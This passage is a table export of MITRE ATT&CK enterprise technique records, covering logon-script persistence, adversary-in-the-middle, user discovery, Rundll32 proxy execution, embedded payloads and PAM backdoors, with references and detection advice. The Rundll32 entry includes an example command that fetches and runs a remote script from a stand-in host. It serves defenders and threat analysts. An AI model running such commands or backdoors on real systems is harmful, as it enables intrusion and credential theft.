attack-pattern | attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:38.910000" | "2024-04-16T12:23:13.621000" | Boot or Logon Initialization Scripts | Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.
Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1037",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037"
},
{
"description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
"external_id": null,
"source_name": "Anomali Rocke March 2019",
"url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
},
{
"description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
"external_id": null,
"source_name": "Mandiant APT29 Eye Spy Email Nov 22",
"url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux",
"Network"
] | 2.3 |
attack-pattern | attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T19:07:12.114000" | "2024-04-18T14:26:21.852000" | Adversary-in-the-Middle | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)
Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1557",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557"
},
{
"description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
"external_id": null,
"source_name": "dns_changer_trojans",
"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
},
{
"description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
"external_id": null,
"source_name": "volexity_0day_sophos_FW",
"url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
},
{
"description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
"external_id": null,
"source_name": "taxonomy_downgrade_att_tls",
"url": "https://arxiv.org/abs/1809.05681"
},
{
"description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
"external_id": null,
"source_name": "ad_blocker_with_miner",
"url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
},
{
"description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
"external_id": null,
"source_name": "Token tactics",
"url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
},
{
"description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
"external_id": null,
"source_name": "mitm_tls_downgrade_att",
"url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
},
{
"description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
"external_id": null,
"source_name": "Rapid7 MiTM Basics",
"url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
},
{
"description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
"external_id": null,
"source_name": "tlseminar_downgrade_att",
"url": "https://tlseminar.github.io/downgrade-attacks/"
},
{
"description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
"external_id": null,
"source_name": "ttint_rat",
"url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Network"
] | 2.4 |
attack-pattern | attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:35.733000" | "2023-09-29T19:50:06.736000" | System Owner/User Discovery | Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.
On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1033",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1033"
},
{
"description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
"external_id": null,
"source_name": "show_ssh_users_cmd_cisco",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"
},
{
"description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
"url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | `System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.5 |
attack-pattern | attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-09-30T16:37:40.271000" | "2024-02-28T21:13:02.648000" | Acquire Infrastructure | Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.
Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583"
},
{
"description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.",
"external_id": null,
"source_name": "amnesty_nso_pegasus",
"url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
},
{
"description": "Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
"external_id": null,
"source_name": "Mandiant APT29 Microsoft 365 2022",
"url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
},
{
"description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.",
"external_id": null,
"source_name": "FBI Proxies Credential Stuffing",
"url": "https://www.ic3.gov/Media/News/2022/220818.pdf"
},
{
"description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
"external_id": null,
"source_name": "Free Trial PurpleUrchin",
"url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
},
{
"description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Koczwara Beacon Hunting Sep 2021",
"url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
},
{
"description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "TrendmicroHideoutsLease",
"url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
},
{
"description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Mandiant SCANdalous Jul 2020",
"url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information.
Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.4 |
attack-pattern | attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-23T18:03:46.248000" | "2023-08-14T15:35:28.965000" | Rundll32 | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).
Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1218.011",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/011"
},
{
"description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
"external_id": null,
"source_name": "rundll32.exe defense evasion",
"url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
},
{
"description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "Attackify Rundll32.exe Obscurity",
"url": "https://www.attackify.com/blog/rundll32_execution_order/"
},
{
"description": "B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.",
"external_id": null,
"source_name": "This is Security Command Line Confusion",
"url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
},
{
"description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "Github NoRunDll",
"url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
},
{
"description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
"external_id": null,
"source_name": "Trend Micro CPL",
"url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.2 |
attack-pattern | attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-31T14:26:00.848000" | "2023-04-15T16:08:50.706000" | Container and Resource Discovery | Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.
These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1613",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1613"
},
{
"description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
"external_id": null,
"source_name": "Docker API",
"url": "https://docs.docker.com/engine/api/v1.41/"
},
{
"description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
"external_id": null,
"source_name": "Kubernetes API",
"url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.
Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Containers"
] | 1.1 |
attack-pattern | attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-07-08T12:39:29.684000" | "2022-10-20T21:20:22.578000" | Serverless | Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1583.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1583/007"
},
{
"description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "AWS Lambda Redirector",
"url": "https://blog.xpnsec.com/aws-lambda-redirector/"
},
{
"description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "Detecting Command & Control in the Cloud",
"url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
},
{
"description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "BlackWater Malware Cloudflare Workers",
"url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-14T23:36:52.095000" | "2023-03-03T00:31:33.071000" | Standard Encoding | Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1132.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132/001"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Binary-to-text Encoding",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Character Encoding",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-09-30T18:50:14.351000" | "2023-09-29T21:14:57.263000" | Embedded Payloads | Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)
Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)
For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)
Embedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.009",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/009"
},
{
"description": "Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.",
"external_id": null,
"source_name": "GitHub PSImage",
"url": "https://github.com/peewpw/Invoke-PSImage"
},
{
"description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Malware Analysis Report ComRAT",
"url": "https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"
},
{
"description": "Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Trend Micro",
"url": "https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html"
},
{
"description": "KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Securelist Dtrack2",
"url": "https://securelist.com/my-name-is-dtrack/93338/"
},
{
"description": "Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Microsoft Learn",
"url": "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1"
},
{
"description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
"external_id": null,
"source_name": "SentinelLabs reversing run-only applescripts 2021",
"url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
},
{
"description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.",
"external_id": null,
"source_name": "Sentinel Labs",
"url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux"
] | 1.1 |
|
attack-pattern | attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-26T04:01:09.648000" | "2021-10-17T14:48:33.580000" | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1556.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/003"
},
{
"description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Apple PAM",
"url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
},
{
"description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Man Pam_Unix",
"url": "https://linux.die.net/man/8/pam_unix"
},
{
"description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
"external_id": null,
"source_name": "Red Hat PAM",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
},
{
